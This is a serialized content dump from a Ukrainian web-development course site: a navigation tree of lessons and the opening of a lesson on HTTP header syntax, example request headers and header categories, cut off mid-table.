фреймворку","\u002Freact-native\u002Fversion2\u002Fexpo-vs-cli-landscape","15.react-native\u002Fversion2\u002F03.expo-vs-cli-landscape",{"title":3404,"path":3405,"stem":3406},"Середовище Expo — перший запуск","\u002Freact-native\u002Fversion2\u002Fexpo-setup-and-tooling","15.react-native\u002Fversion2\u002F04.expo-setup-and-tooling",{"title":3408,"path":3409,"stem":3410},"Структура проєкту та перші UI-примітиви","\u002Freact-native\u002Fversion2\u002Fproject-structure-and-conventions","15.react-native\u002Fversion2\u002F05.project-structure-and-conventions",{"title":3412,"path":3413,"stem":3414},"Базові компоненти React Native","\u002Freact-native\u002Fversion2\u002Fcore-components","15.react-native\u002Fversion2\u002F06.core-components",{"title":3416,"path":3417,"stem":3418},"Flexbox і layout у React Native","\u002Freact-native\u002Fversion2\u002Fflexbox-and-layout","15.react-native\u002Fversion2\u002F07.flexbox-and-layout",{"title":3420,"path":3421,"stem":3422},"StyleSheet і теми (light \u002F dark)","\u002Freact-native\u002Fversion2\u002Fstylesheet-and-theming","15.react-native\u002Fversion2\u002F08.stylesheet-and-theming",{"title":3424,"path":3425,"stem":3426},"Списки та віртуалізація","\u002Freact-native\u002Fversion2\u002Flists-and-virtualization","15.react-native\u002Fversion2\u002F09.lists-and-virtualization",{"title":3428,"path":3429,"stem":3430},"Форми, ввід і валідація","\u002Freact-native\u002Fversion2\u002Fforms-input-validation","15.react-native\u002Fversion2\u002F10.forms-input-validation",{"title":3432,"path":3433,"stem":3434},"Основи Expo Router","\u002Freact-native\u002Fversion2\u002Fexpo-router-basics","15.react-native\u002Fversion2\u002F11.expo-router-basics",{"title":3436,"path":3437,"stem":3438},"Вкладені навігатори та модалки","\u002Freact-native\u002Fversion2\u002Fnested-navigators-and-modals","15.react-native\u002Fversion2\u002F12.nested-navigators-and-modals",{"title":3440,"path":3441,"stem":3442},"Deep linking і параметри маршрутів","\u002Freact-native\u002Fversion2\u002Fdeep-linking-and-params","15.react-native\u002Fversion2\u002F13.deep-linking-and-params",{"title":3444,"path":3445,"stem":3446},"Робота з мережею та життєвий цикл застосунку","\u002Freact-native\u002Fversion2\u002Fnetworking-and-app-lifecycle","15.react-native\u002Fversion2\u002F14.networking-and-app-lifecycle",{"title":3448,"path":3449,"stem":3450},"Redux Toolkit на мобільних платформах","\u002Freact-native\u002Fversion2\u002Fredux-toolkit-on-mobile","15.react-native\u002Fversion2\u002F15.redux-toolkit-on-mobile",{"title":3452,"path":3453,"stem":3454},"RTK Query на мобільних платформах","\u002Freact-native\u002Fversion2\u002Frtk-query-mobile","15.react-native\u002Fversion2\u002F16.rtk-query-mobile",{"title":3456,"path":3457,"stem":3458},"Автентифікація та Безпечне Зберігання","\u002Freact-native\u002Fversion2\u002Fauth-secure-storage","15.react-native\u002Fversion2\u002F18.auth-secure-storage",{"title":3460,"path":3461,"stem":3462},"Локальне сховище — AsyncStorage, MMKV, SQLite","\u002Freact-native\u002Fversion2\u002Flocal-storage-mmkv-sqlite","15.react-native\u002Fversion2\u002F19.local-storage-mmkv-sqlite",{"title":3464,"path":3465,"stem":3466},"Офлайн-First і синхронізація","\u002Freact-native\u002Fversion2\u002Foffline-first-sync","15.react-native\u002Fversion2\u002F20.offline-first-sync",{"title":3468,"path":3469,"stem":3470},"Камера, медіа та файлова система","\u002Freact-native\u002Fversion2\u002Fcamera-media-filesystem","15.react-native\u002Fversion2\u002F21.camera-media-filesystem",{"title":3472,"path":3473,"stem":3474},"Карти та геолокація","\u002Freact-native\u002Fversion2\u002Fmaps-and-location","15.react-native\u002Fversion2\u002F22.maps-and-location",{"title":3476,"path":3477,"stem":3478},"Жести та дотики","\u002Freact-native\u002Fversion2\u002Fgestures-and-touch","15.react-native\u002Fversion2\u002F23.gestures-and-touch",{"title":3480,"path":3481,"stem":3482},"Анімації з Reanimated","\u002Freact-native\u002Fversion2\u002Freanimated-animations","15.react-native\u002Fversion2\u002F24.reanimated-animations",{"title":3484,"path":3485,"stem":3486},"Push і локальні сповіщення","\u002Freact-native\u002Fversion2\u002Fpush-and-local-notifications","15.react-native\u002Fversion2\u002F25.push-and-local-notifications",{"title":3488,"path":3489,"stem":3490},"Доступність та інтернаціоналізація","\u002Freact-native\u002Fversion2\u002Faccessibility-and-i18n","15.react-native\u002Fversion2\u002F26.accessibility-and-i18n",{"title":3492,"path":3493,"stem":3494},"EAS Build та профілі збірки","\u002Freact-native\u002Fversion2\u002Feas-build-and-profiles","15.react-native\u002Fversion2\u002F29.eas-build-and-profiles",{"title":3496,"path":3497,"stem":3498,"children":3499,"page":59},"Ai Python","\u002Fai-python","16.ai-python",[3500,3504,3508],{"title":3501,"path":3502,"stem":3503},"Вступ до штучного інтелекту та машинного навчання","\u002Fai-python\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai",{"title":3505,"path":3506,"stem":3507},"Знайомство з Jupyter Notebook та JupyterLab","\u002Fai-python\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook",{"title":3509,"path":3510,"stem":3511},"Робота з даними з використанням NumPy і pandas","\u002Fai-python\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas",{"title":3513,"icon":658,"path":3514,"stem":3515,"children":3516,"page":59},"Клієнт-серверна архітектура","\u002Fclient-server-architecture","17.client-server-architecture",[3517,3521],{"title":3518,"path":3519,"stem":3520},"Архітектура клієнт-серверних систем та основи Go","\u002Fclient-server-architecture\u002Fclient-server-architecture-and-go","17.client-server-architecture\u002F01.client-server-architecture-and-go",{"title":3522,"path":3523,"stem":3524},"Система типів та модель пам’яті мови Go","\u002Fclient-server-architecture\u002Ftype-system-and-memory-model","17.client-server-architecture\u002F02.type-system-and-memory-model",{"title":3526,"icon":1946,"path":3527,"stem":3528,"children":3529,"page":59},"Розробка WEB-застосувань","\u002Fweb-development","18.web-development",[3530,3575,3613,3642],{"title":3531,"icon":658,"path":3532,"stem":3533,"children":3534,"page":59},"Архітектура комп'ютерних мереж та мережеві протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols","18.web-development\u002F01.network-architecture-and-protocols",[3535,3539,3543,3547,3551,3555,3559,3563,3567,3571],{"title":3536,"path":3537,"stem":3538},"Еволюція веброзробки та модель клієнт-сервер","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fweb-evolution-client-server","18.web-development\u002F01.network-architecture-and-protocols\u002F01.web-evolution-client-server",{"title":3540,"path":3541,"stem":3542},"Еталонна модель OSI","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fosi-model","18.web-development\u002F01.network-architecture-and-protocols\u002F02.osi-model",{"title":3544,"path":3545,"stem":3546},"Стек протоколів TCP\u002FIP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-ip-stack","18.web-development\u002F01.network-architecture-and-protocols\u002F03.tcp-ip-stack",{"title":3548,"path":3549,"stem":3550},"IP-адресація, порти та сокети","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fip-addressing-ports-sockets","18.web-development\u002F01.network-architecture-and-protocols\u002F04.ip-addressing-ports-sockets",{"title":3552,"path":3553,"stem":3554},"Протоколи TCP та UDP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-udp-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F05.tcp-udp-protocols",{"title":3556,"path":3557,"stem":3558},"Система доменних імен DNS","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fdns-system","18.web-development\u002F01.network-architecture-and-protocols\u002F06.dns-system",{"title":3560,"path":3561,"stem":3562},"Протокол SMTP та поштові протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fsmtp-email-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F07.smtp-email-protocols",{"title":3564,"path":3565,"stem":3566},"Протокол WebSocket","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fwebsocket-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F08.websocket-protocol",{"title":3568,"path":3569,"stem":3570},"Протокол SSH","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fssh-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F09.ssh-protocol",{"title":3572,"path":3573,"stem":3574},"Огляд сучасних серверних технологій","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fmodern-backend-technologies","18.web-development\u002F01.network-architecture-and-protocols\u002F10.modern-backend-technologies",{"title":3576,"icon":3577,"path":3578,"stem":3579,"children":3580,"page":59},"Протокол HTTP та захищена передача даних HTTPS","i-lucide-lock","\u002Fweb-development\u002Fhttp-and-https","18.web-development\u002F02.http-and-https",[3581,3585,3589,3593,3597,3601,3605,3609],{"title":3582,"path":3583,"stem":3584},"Вступ до протоколу HTTP та еволюція веб-технологій","\u002Fweb-development\u002Fhttp-and-https\u002Fintroduction-and-evolution","18.web-development\u002F02.http-and-https\u002F01.introduction-and-evolution",{"title":3586,"path":3587,"stem":3588},"Анатомія HTTP-запиту","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-request-structure","18.web-development\u002F02.http-and-https\u002F02.http-request-structure",{"title":3590,"path":3591,"stem":3592},"Анатомія HTTP-відповіді","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-response-structure","18.web-development\u002F02.http-and-https\u002F03.http-response-structure",{"title":3594,"path":3595,"stem":3596},"Методи HTTP та їхня семантика","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-methods","18.web-development\u002F02.http-and-https\u002F04.http-methods",{"title":3598,"path":3599,"stem":3600},"Коди статусу HTTP та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-status-codes","18.web-development\u002F02.http-and-https\u002F05.http-status-codes",{"title":3602,"path":3603,"stem":3604},"HTTP-заголовки та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-headers","18.web-development\u002F02.http-and-https\u002F06.http-headers",{"title":3606,"path":3607,"stem":3608},"CORS та механізми безпеки HTTP","\u002Fweb-development\u002Fhttp-and-https\u002Fcors-and-security","18.web-development\u002F02.http-and-https\u002F07.cors-and-security",{"title":3610,"path":3611,"stem":3612},"HTTPS та криптографічні основи TLS","\u002Fweb-development\u002Fhttp-and-https\u002Fhttps-and-tls","18.web-development\u002F02.http-and-https\u002F08.https-and-tls",{"title":3614,"icon":2326,"path":3615,"stem":3616,"children":3617,"page":59},"Система типів мови TypeScript","\u002Fweb-development\u002Ftypescript-type-system","18.web-development\u002F03.typescript-type-system",[3618,3622,3626,3630,3634,3638],{"title":3619,"path":3620,"stem":3621},"Знайомство з TypeScript Compiler","\u002Fweb-development\u002Ftypescript-type-system\u002Fintroduction-compiler-config","18.web-development\u002F03.typescript-type-system\u002F01.introduction-compiler-config",{"title":3623,"path":3624,"stem":3625},"Примітивні типи даних: string, number, boolean","\u002Fweb-development\u002Ftypescript-type-system\u002Fprimitive-special-types","18.web-development\u002F03.typescript-type-system\u002F02.primitive-special-types",{"title":3627,"path":3628,"stem":3629},"Масиви, кортежі та об","\u002Fweb-development\u002Ftypescript-type-system\u002Farrays-tuples-objects","18.web-development\u002F03.typescript-type-system\u002F03.arrays-tuples-objects",{"title":3631,"path":3632,"stem":3633},"Union типи, Intersection типи та літеральні типи","\u002Fweb-development\u002Ftypescript-type-system\u002Funion-intersection-literals","18.web-development\u002F03.typescript-type-system\u002F04.union-intersection-literals",{"title":3635,"path":3636,"stem":3637},"Type Narrowing (звуження типів)","\u002Fweb-development\u002Ftypescript-type-system\u002Ftype-narrowing","18.web-development\u002F03.typescript-type-system\u002F05.type-narrowing",{"title":3639,"path":3640,"stem":3641},"Типізація функцій","\u002Fweb-development\u002Ftypescript-type-system\u002Ffunctions-typing","18.web-development\u002F03.typescript-type-system\u002F06.functions-typing",{"title":3643,"icon":2326,"path":3644,"stem":3645,"children":3646,"page":59},"Розширені засоби мови TypeScript","\u002Fweb-development\u002Ftypescript-advanced","18.web-development\u002F04.typescript-advanced",[3647,3651,3655,3659,3663,3667],{"title":3648,"path":3649,"stem":3650},"Interfaces та Classes","\u002Fweb-development\u002Ftypescript-advanced\u002Finterfaces-classes","18.web-development\u002F04.typescript-advanced\u002F01.interfaces-classes",{"title":3652,"path":3653,"stem":3654},"Основи Generic типів","\u002Fweb-development\u002Ftypescript-advanced\u002Fgenerics-fundamentals","18.web-development\u002F04.typescript-advanced\u002F02.generics-fundamentals",{"title":3656,"path":3657,"stem":3658},"Enums та Decorators","\u002Fweb-development\u002Ftypescript-advanced\u002Fenums-decorators","18.web-development\u002F04.typescript-advanced\u002F03.enums-decorators",{"title":3660,"path":3661,"stem":3662},"Utility Types","\u002Fweb-development\u002Ftypescript-advanced\u002Futility-types","18.web-development\u002F04.typescript-advanced\u002F04.utility-types",{"title":3664,"path":3665,"stem":3666},"Mapped та Conditional Types","\u002Fweb-development\u002Ftypescript-advanced\u002Fmapped-conditional-types","18.web-development\u002F04.typescript-advanced\u002F05.mapped-conditional-types",{"title":3668,"path":3669,"stem":3670},"Модулі та Strict Mode","\u002Fweb-development\u002Ftypescript-advanced\u002Fmodules-strict-mode","18.web-development\u002F04.typescript-advanced\u002F06.modules-strict-mode",{"title":3672,"path":3673,"stem":3674,"children":3675,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[3676,3680,3684,3688,3692,3696,3700,3704,3708,3712,3716,3720],{"title":3677,"path":3678,"stem":3679},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":3681,"path":3682,"stem":3683},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":3685,"path":3686,"stem":3687},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":3689,"path":3690,"stem":3691},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":3693,"path":3694,"stem":3695},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":3697,"path":3698,"stem":3699},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":3701,"path":3702,"stem":3703},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":3705,"path":3706,"stem":3707},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":3709,"path":3710,"stem":3711},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":3713,"path":3714,"stem":3715},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":3717,"path":3718,"stem":3719},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":3721,"path":3722,"stem":3723},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":3725,"path":3726,"stem":3727},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":3729,"title":3602,"body":3730,"description":3844,"extension":11815,"links":11816,"meta":11817,"navigation":4882,"path":3603,"seo":11818,"stem":3604,"__hash__":11819},"docs\u002F18.web-development\u002F02.http-and-https\u002F06.http-headers.md",{"type":3731,"value":3732,"toc":11764},"minimark",[3733,3737,3819,3822,3827,3835,3845,3850,3984,3988,4109,4114,4165,4167,4171,4181,4185,4288,4317,4321,4490,4492,4496,4503,4507,4520,4529,4534,4560,4563,4589,4593,4598,4603,4639,4644,4671,4676,4696,4714,4718,4728,4733,4739,4749,4754,4781,4786,4812,4817,4844,4849,4912,4919,4975,4979,4987,4991,5018,5022,5048,5052,5164,5168,5176,5180,5206,5211,5242,5247,5319,5326,5345,5349,5358,5363,5368,5395,5409,5440,5457,5461,5464,5499,5505,5534,5537,5541,5544,5581,5584,5598,5602,5610,5614,5650,5655,5674,5685,5732,5736,5745,5749,5785,5789,5798,5803,5840,5845,5921,5926,5953,5956,5958,5962,5969,5973,5978,5982,6017,6022,6028,6049,6053,6062,6066,6101,6105,6117,6122,6159,6164,6227,6231,6240,6245,6298,6303,6356,6360,6371,6376,6424,6429,6478,6483,6536,6541,6666,6670,6678,6682,6781,6785,6796,6814,6818,6826,6830,6891,6894,6898,6913,6918,6938,6943,6961,6965,7043,7048,7073,7078,7113,7116,7120,7129,7133,7151,7155,7222,7227,7252,7257,7282,7312,7316,7329,7334,7396,7401,7451,7453,7457,7464,7468,7477,7481,7487,7491,7496,7546,7549,7554,7614,7621,7626,7660,7674,7679,7731,7737,7742,7786,7789,7794,7808,7822,7827,7850,7857,7862,7906,7917,7921,7926,7939,7942,7947,7970,7973,7978,8001,8004,8009,8023,8034,8039,8070,8073,8077,8083,8088,8113,8116,8121,8148,8154,8159,8186,8189,8193,8201,8205,8240,8258,8273,8277,8282,8286,8307,8314,8318,8325,8329,8334,8339,8364,8369,8444,8447,8452,8477,8482,8515,8522,8527,8613,8616,8620,8629,8634,8652,8657,8722,8727,8752,8757,8790,8794,8803,8808,8813,8831,8835,8914,8919,8935,8940,8969,8974,9034,9039,9098,9103,9162,9167,9228,9235,9256,9260,9272,9277,9326,9337,9342,9393,9396,9401,9415,9420,9434,9450,9452,9456,9466,9470,9491,9495,9500,9567,9572,9575,9580,9614,9619,9626,9630,9634,9640,9644,9650,9664,9667,9673,9687,9697,9711,9715,9729,9732,9754,9762,9776,9785,9793,9797,9811,9817,9840,9849,9853,9867,9874,9886,9890,9903,9918,9923,9960,9965,9995,10007,10011,10017,10022,10139,10144,10210,10214,10219,10232,10237,10251,10256,10270,10275,10289,10294,10308,10311,10325,10329,10439,10450,10452,10456,10830,10832,10836,10984,10986,10990,11154,11157,11256,11715,11717,11719,11723,11749,11760],[3734,3735,3602],"h1",{"id":3736},"http-заголовки-та-їхнє-призначення",[3738,3739,3740,3776],"card-group",{},[3741,3742,3745],"card",{"icon":3743,"title":3744},"i-lucide-target","🎯 Мета розділу",[3746,3747,3748,3752,3755,3770,3773],"ul",{},[3749,3750,3751],"li",{},"Опанувати структуру та синтаксис HTTP-заголовків.",[3749,3753,3754],{},"Зрозуміти призначення основних категорій заголовків (загальні, запитів, відповідей, сутності).",[3749,3756,3757,3758,3762,3763,3762,3766,3769],{},"Навчитися налаштовувати кешування через заголовки ",[3759,3760,3761],"code",{},"Cache-Control",", ",[3759,3764,3765],{},"ETag",[3759,3767,3768],{},"Last-Modified",".",[3749,3771,3772],{},"Засвоїти механізми автентифікації та авторизації через заголовки.",[3749,3774,3775],{},"Розібратися з Content Negotiation (узгодження вмісту) та CORS-заголовками.",[3741,3777,3780],{"icon":3778,"title":3779},"i-lucide-key","🔑 Ключові терміни",[3746,3781,3782,3789,3795,3801,3807,3813],{},[3749,3783,3784,3788],{},[3785,3786,3787],"strong",{},"HTTP Header"," — пара \"ім'я: значення\", що передає метадані про запит або відповідь.",[3749,3790,3791,3794],{},[3785,3792,3793],{},"Request Headers"," — заголовки, що надсилає клієнт (User-Agent, Accept, Authorization).",[3749,3796,3797,3800],{},[3785,3798,3799],{},"Response Headers"," — заголовки, що повертає сервер (Server, Set-Cookie, Location).",[3749,3802,3803,3806],{},[3785,3804,3805],{},"Entity Headers"," — описують тіло повідомлення (Content-Type, Content-Length, Content-Encoding).",[3749,3808,3809,3812],{},[3785,3810,3811],{},"Cache Control"," — механізм керування кешуванням через заголовки.",[3749,3814,3815,3818],{},[3785,3816,3817],{},"Content Negotiation"," — процес узгодження формату відповіді між клієнтом та сервером.",[3820,3821],"hr",{},[3823,3824,3826],"h2",{"id":3825},"структура-та-синтаксис-http-заголовків","Структура та синтаксис HTTP-заголовків",[3828,3829,3830,3831,3834],"p",{},"HTTP-заголовки є ",[3785,3832,3833],{},"метаданими",", що супроводжують запит або відповідь. Кожен заголовок має формат:",[3836,3837,3842],"pre",{"className":3838,"code":3840,"language":3841},[3839],"language-text","Header-Name: Header-Value\n","text",[3759,3843,3840],{"__ignoreMap":3844},"",[3846,3847,3849],"h3",{"id":3848},"базові-правила-синтаксису","Базові правила синтаксису",[3851,3852,3853,3873,3889,3905,3945,3957],"ol",{},[3749,3854,3855,3858,3859,3862,3863,3866,3867],{},[3785,3856,3857],{},"Регістр імені:"," Імена заголовків ",[3785,3860,3861],{},"нечутливі до регістру",", але прийнято використовувати ",[3785,3864,3865],{},"Kebab-Case"," (кожне слово з великої літери, розділені дефісом):",[3836,3868,3871],{"className":3869,"code":3870,"language":3841},[3839],"Content-Type: application\u002Fjson\ncontent-type: application\u002Fjson  ← також валідно\nCONTENT-TYPE: application\u002Fjson  ← валідно, але не рекомендовано\n",[3759,3872,3870],{"__ignoreMap":3844},[3749,3874,3875,3878,3879,3882,3883],{},[3785,3876,3877],{},"Пробіли:"," Після двокрапки ",[3785,3880,3881],{},"може бути"," необов'язковий пробіл (зазвичай один):",[3836,3884,3887],{"className":3885,"code":3886,"language":3841},[3839],"Host: example.com\nHost:example.com    ← валідно, але погано читається\n",[3759,3888,3886],{"__ignoreMap":3844},[3749,3890,3891,3894,3895,3898,3899],{},[3785,3892,3893],{},"Множинні значення:"," Деякі заголовки можуть мати ",[3785,3896,3897],{},"кілька значень",", розділених комами:",[3836,3900,3903],{"className":3901,"code":3902,"language":3841},[3839],"Accept: text\u002Fhtml, application\u002Fjson, *\u002F*\nAccept-Encoding: gzip, deflate, br\n",[3759,3904,3902],{"__ignoreMap":3844},[3749,3906,3907,3910,3911],{},[3785,3908,3909],{},"Множинні заголовки з однаковим ім'ям:"," Деякі заголовки можуть повторюватися:",[3836,3912,3916],{"className":3913,"code":3914,"language":3915,"meta":3844,"style":3844},"language-http shiki shiki-themes light-plus dark-plus dark-plus","Set-Cookie: sessionId=abc123; HttpOnly\nSet-Cookie: theme=dark; Max-Age=86400\n","http",[3759,3917,3918,3935],{"__ignoreMap":3844},[3919,3920,3923,3927,3931],"span",{"class":3921,"line":3922},"line",1,[3919,3924,3926],{"class":3925},"sKtos","Set-Cookie",[3919,3928,3930],{"class":3929},"su1O8",":",[3919,3932,3934],{"class":3933},"sbdoH"," sessionId=abc123; HttpOnly\n",[3919,3936,3938,3940,3942],{"class":3921,"line":3937},2,[3919,3939,3926],{"class":3925},[3919,3941,3930],{"class":3929},[3919,3943,3944],{"class":3933}," theme=dark; Max-Age=86400\n",[3749,3946,3947,3950,3951],{},[3785,3948,3949],{},"Порожнє значення:"," Заголовок може мати порожнє значення:",[3836,3952,3955],{"className":3953,"code":3954,"language":3841},[3839],"Accept-Encoding:\n",[3759,3956,3954],{"__ignoreMap":3844},[3749,3958,3959,3962,3963],{},[3785,3960,3961],{},"Перенесення рядків (застаріле):"," У HTTP\u002F1.1 дозволялося переносити довгі заголовки, починаючи наступний рядок з пробілу або табуляції (у HTTP\u002F2 заборонено):",[3836,3964,3966],{"className":3913,"code":3965,"language":3915,"meta":3844,"style":3844},"Subject: This is a very long header value\n that continues on the next line\n",[3759,3967,3968,3978],{"__ignoreMap":3844},[3919,3969,3970,3973,3975],{"class":3921,"line":3922},[3919,3971,3972],{"class":3925},"Subject",[3919,3974,3930],{"class":3929},[3919,3976,3977],{"class":3933}," This is a very long header value\n",[3919,3979,3980],{"class":3921,"line":3937},[3919,3981,3983],{"class":3982},"sHH4Y"," that continues on the next line\n",[3846,3985,3987],{"id":3986},"приклад-raw-http-запиту-з-заголовками","Приклад RAW HTTP-запиту з заголовками",[3836,3989,3991],{"className":3913,"code":3990,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fusers\u002F42 HTTP\u002F1.1\nHost: api.example.com\nUser-Agent: Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7)\nAccept: application\u002Fjson, text\u002Fplain, *\u002F*\nAccept-Language: uk-UA, en-US;q=0.9, en;q=0.8\nAccept-Encoding: gzip, deflate, br\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\nCache-Control: no-cache\nConnection: keep-alive\nReferer: https:\u002F\u002Fexample.com\u002Fdashboard\n",[3759,3992,3993,4012,4022,4033,4044,4055,4066,4077,4087,4098],{"__ignoreMap":3844},[3919,3994,3995,3999,4002,4005,4008],{"class":3921,"line":3922},[3919,3996,3998],{"class":3997},"s8xlr","GET",[3919,4000,4001],{"class":3982}," \u002Fapi\u002Fv1\u002Fusers\u002F42 ",[3919,4003,4004],{"class":3929},"HTTP",[3919,4006,4007],{"class":3982},"\u002F",[3919,4009,4011],{"class":4010},"sJj4R","1.1\n",[3919,4013,4014,4017,4019],{"class":3921,"line":3937},[3919,4015,4016],{"class":3925},"Host",[3919,4018,3930],{"class":3929},[3919,4020,4021],{"class":3933}," api.example.com\n",[3919,4023,4025,4028,4030],{"class":3921,"line":4024},3,[3919,4026,4027],{"class":3925},"User-Agent",[3919,4029,3930],{"class":3929},[3919,4031,4032],{"class":3933}," Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7)\n",[3919,4034,4036,4039,4041],{"class":3921,"line":4035},4,[3919,4037,4038],{"class":3925},"Accept",[3919,4040,3930],{"class":3929},[3919,4042,4043],{"class":3933}," application\u002Fjson, text\u002Fplain, *\u002F*\n",[3919,4045,4047,4050,4052],{"class":3921,"line":4046},5,[3919,4048,4049],{"class":3925},"Accept-Language",[3919,4051,3930],{"class":3929},[3919,4053,4054],{"class":3933}," uk-UA, en-US;q=0.9, en;q=0.8\n",[3919,4056,4058,4061,4063],{"class":3921,"line":4057},6,[3919,4059,4060],{"class":3925},"Accept-Encoding",[3919,4062,3930],{"class":3929},[3919,4064,4065],{"class":3933}," gzip, deflate, br\n",[3919,4067,4069,4072,4074],{"class":3921,"line":4068},7,[3919,4070,4071],{"class":3925},"Authorization",[3919,4073,3930],{"class":3929},[3919,4075,4076],{"class":3933}," Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n",[3919,4078,4080,4082,4084],{"class":3921,"line":4079},8,[3919,4081,3761],{"class":3925},[3919,4083,3930],{"class":3929},[3919,4085,4086],{"class":3933}," no-cache\n",[3919,4088,4090,4093,4095],{"class":3921,"line":4089},9,[3919,4091,4092],{"class":3925},"Connection",[3919,4094,3930],{"class":3929},[3919,4096,4097],{"class":3933}," keep-alive\n",[3919,4099,4101,4104,4106],{"class":3921,"line":4100},10,[3919,4102,4103],{"class":3925},"Referer",[3919,4105,3930],{"class":3929},[3919,4107,4108],{"class":3933}," https:\u002F\u002Fexample.com\u002Fdashboard\n",[3828,4110,4111],{},[3785,4112,4113],{},"Пояснення:",[3746,4115,4116,4121,4126,4131,4140,4145,4150,4155,4160],{},[3749,4117,4118,4120],{},[3759,4119,4016],{}," — обов'язковий у HTTP\u002F1.1, вказує домен сервера.",[3749,4122,4123,4125],{},[3759,4124,4027],{}," — ідентифікує клієнта (браузер, ОС).",[3749,4127,4128,4130],{},[3759,4129,4038],{}," — формати, які приймає клієнт.",[3749,4132,4133,4135,4136,4139],{},[3759,4134,4049],{}," — мови, що віддаються перевагою (з пріоритетами через ",[3759,4137,4138],{},"q",").",[3749,4141,4142,4144],{},[3759,4143,4060],{}," — підтримувані методи стиснення.",[3749,4146,4147,4149],{},[3759,4148,4071],{}," — токен автентифікації.",[3749,4151,4152,4154],{},[3759,4153,3761],{}," — вимога не використовувати кеш.",[3749,4156,4157,4159],{},[3759,4158,4092],{}," — утримувати з'єднання відкритим.",[3749,4161,4162,4164],{},[3759,4163,4103],{}," — URL сторінки, з якої прийшов запит.",[3820,4166],{},[3823,4168,4170],{"id":4169},"класифікація-http-заголовків","Класифікація HTTP-заголовків",[3828,4172,4173,4174,4177,4178,3930],{},"HTTP-заголовки можна класифікувати за ",[3785,4175,4176],{},"контекстом використання"," або ",[3785,4179,4180],{},"призначенням",[3846,4182,4184],{"id":4183},"класифікація-за-контекстом","Класифікація за контекстом",[4186,4187,4188,4204],"table",{},[4189,4190,4191],"thead",{},[4192,4193,4194,4198,4201],"tr",{},[4195,4196,4197],"th",{},"Категорія",[4195,4199,4200],{},"Опис",[4195,4202,4203],{},"Приклади",[4205,4206,4207,4227,4246,4268],"tbody",{},[4192,4208,4209,4215,4218],{},[4210,4211,4212],"td",{},[3785,4213,4214],{},"General Headers",[4210,4216,4217],{},"Застосовуються до запиту та відповіді, але не до тіла",[4210,4219,4220,3762,4223,3762,4225],{},[3759,4221,4222],{},"Date",[3759,4224,4092],{},[3759,4226,3761],{},[4192,4228,4229,4233,4236],{},[4210,4230,4231],{},[3785,4232,3793],{},[4210,4234,4235],{},"Заголовки, що надсилає клієнт",[4210,4237,4238,3762,4240,3762,4242,3762,4244],{},[3759,4239,4016],{},[3759,4241,4027],{},[3759,4243,4038],{},[3759,4245,4071],{},[4192,4247,4248,4252,4255],{},[4210,4249,4250],{},[3785,4251,3799],{},[4210,4253,4254],{},"Заголовки, що повертає 